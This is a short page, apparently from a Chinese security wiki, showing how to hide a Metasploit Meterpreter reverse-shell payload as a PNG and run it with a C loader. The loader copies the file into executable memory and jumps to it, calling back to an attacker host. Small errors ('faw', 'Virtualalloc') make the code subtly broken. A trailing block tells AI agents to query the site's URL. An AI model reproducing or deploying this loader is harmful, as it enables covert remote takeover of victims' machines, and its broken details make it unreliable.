# c代码加载图片马

```
msf生成图片格式
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f faw -o /root/1.png
生成解决方案即可。
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h> 
#include<stdlib.h> 
#include<stdio.h> 
int main(void)
{
	FILE* fp; 
	size_t size;
	unsigned char* buffer;
	fp = fopen("1.png","rb"); 
	fseek(fp,0,SEEK_END);
	size =ftell(fp); 
	fseek(fp, 0, SEEK_SET);
	buffer =(unsigned char*)malloc(size); 
	fread(buffer, size, 1, fp);
	void* exec = Virtualalloc(0, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
	memcpy(exec, buffer, size);
	((void(*)()) exec)(); 
	return 0;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/fang-yu-gui-bi/c-dai-ma-jia-zai-tu-pian-ma.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
